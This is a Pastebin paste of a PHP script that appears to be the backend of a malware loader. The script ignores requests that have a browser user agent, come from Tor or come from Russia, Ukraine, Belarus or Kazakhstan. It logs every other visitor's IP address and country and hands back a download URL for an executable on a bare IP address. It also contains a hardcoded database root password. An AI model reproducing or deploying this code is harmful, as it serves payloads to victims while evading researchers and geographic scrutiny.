Advertisement
setty7

Untitled

Dec 18th, 2018
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.85 KB | None | 0 0
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5.  
  6.  
  7. if(isset($_SERVER['HTTP_USER_AGENT']))
  8. {
  9.     exit;
  10. }
  11.  
  12. require 'vendor/autoload.php';
  13. require_once 'TorDetect.php';
  14. use GeoIp2\Database\Reader;
  15. $url = "http://94.156.35.177/tradeinfo.exe";
  16. $host = 'localhost';
  17. $db   = 'cpp_loader';
  18. $user = 'root';
  19. $pass = 'B92fueo6aU';
  20. $charset = 'utf8';
  21.  
  22. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  23. $opt = [
  24.     PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
  25.     PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  26.     PDO::ATTR_EMULATE_PREPARES   => false,
  27. ];
  28. $pdo = new PDO($dsn, $user, $pass, $opt);
  29.  
  30. $ip = getIP();
  31.  
  32. if (strpos($ip, ',') !== false) {
  33.    $ip_arr = explode(",", $ip);
  34.    $ip = $ip_arr[0];
  35.    
  36. }
  37.  
  38.  
  39. $sng_codes = [
  40. 'RU',
  41. 'UA',
  42. 'BY',
  43. 'KZ'
  44. ];
  45.  
  46.  
  47.  
  48.  $instance = \TorDetect\TorDetect::getInstance();
  49.  
  50.  
  51. //$host= gethostname(); $serv_ip = gethostbyname($host);
  52.  
  53. //$is_tor = $tor_detector->check($ip, 80, $serv_ip);
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60. $is_tor = $instance->isTorActive();
  61.  
  62. if($is_tor == 1)
  63. {
  64.     exit;
  65. }
  66. $reader = new Reader('GeoIP2-City.mmdb');
  67.  
  68. $record = $reader->city($ip);
  69. $country = $record->country->name;
  70. $cc  =   $record->country->isoCode;
  71. //add to db info
  72. if(in_array($cc, $sng_codes))
  73. {
  74.     exit;
  75. }
  76.  
  77. $date = date('Y-m-d H:i:s');
  78. $q =  $pdo->prepare('insert into `hits` (ip, country, date) values (:ip, :country, :date) ');
  79.             $q->bindParam(':ip', $ip);
  80.             $q->bindParam(':country', $country);
  81.             $q->bindParam(':date', $date);
  82.             $q->execute();
  83. echo $url;
  84.  
  85.  
  86.  
  87.  
  88. function getIP()
  89. {
  90.     if (isset($_SERVER["HTTP_X_REAL_IP"]))
  91.         return $_SERVER["HTTP_X_REAL_IP"];
  92.     else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  93.         return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  94.     return $_SERVER['REMOTE_ADDR'];
  95. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement